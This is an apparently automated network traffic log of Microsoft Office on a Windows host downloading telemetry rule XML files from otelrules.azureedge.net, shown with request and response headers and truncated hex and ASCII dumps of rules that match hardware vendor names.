2024-12-09 05:49:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 229463e4-b01e-0021-2a03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054924Z-r1cf579d778lntp7hC1EWR9gg400000006z0000000003b20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.11	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:26 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f6d2a488-401e-000a-7403-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054926Z-r1cf579d778w59f9hC1EWRze6w00000007sg000000003wna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.11	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:26 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bd44ec9f-201e-003f-366e-496d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054926Z-r1cf579d7782w22mhC1EWR2ebg00000002h0000000000rma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.11	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:26 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:26 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 987987f9-101e-0034-0e02-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054926Z-r1cf579d778t5c2lhC1EWRce3w0000000850000000004w52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.11	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:26 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: e9e1dff1-101e-0065-7303-484088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054926Z-r1cf579d778t5c2lhC1EWRce3w0000000890000000000p85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.11	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:26 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:26 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 8ac5c401-401e-002a-771e-49c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054926Z-r1cf579d7789jf56hC1EWRu58800000002q00000000023ct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.11	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:28 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:28 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: b10a885e-c01e-00a1-42cd-497e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054928Z-r1cf579d778j4j5fhC1EWR3ge8000000014g000000000e9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:49:28 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.11	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:28 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 2eb93bb0-201e-0000-7180-49a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054928Z-r1cf579d778pftsbhC1EWRa0gn000000022g000000002uaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.11	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:28 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: d550787b-001e-0049-4b89-495bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054928Z-r1cf579d778j4j5fhC1EWR3ge800000000z0000000005xpk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.11	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:28 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: fe216484-501e-008f-70b4-499054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054928Z-r1cf579d778w59f9hC1EWRze6w00000007ng000000007s5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:49:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.11	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:28 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 48f2d82f-b01e-0084-1302-48d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054929Z-r1cf579d778qlpkrhC1EWRpfc80000000860000000003tcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.11	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:30 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054930Z-r1cf579d778d5zkmhC1EWRk6h800000007wg000000006ptp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

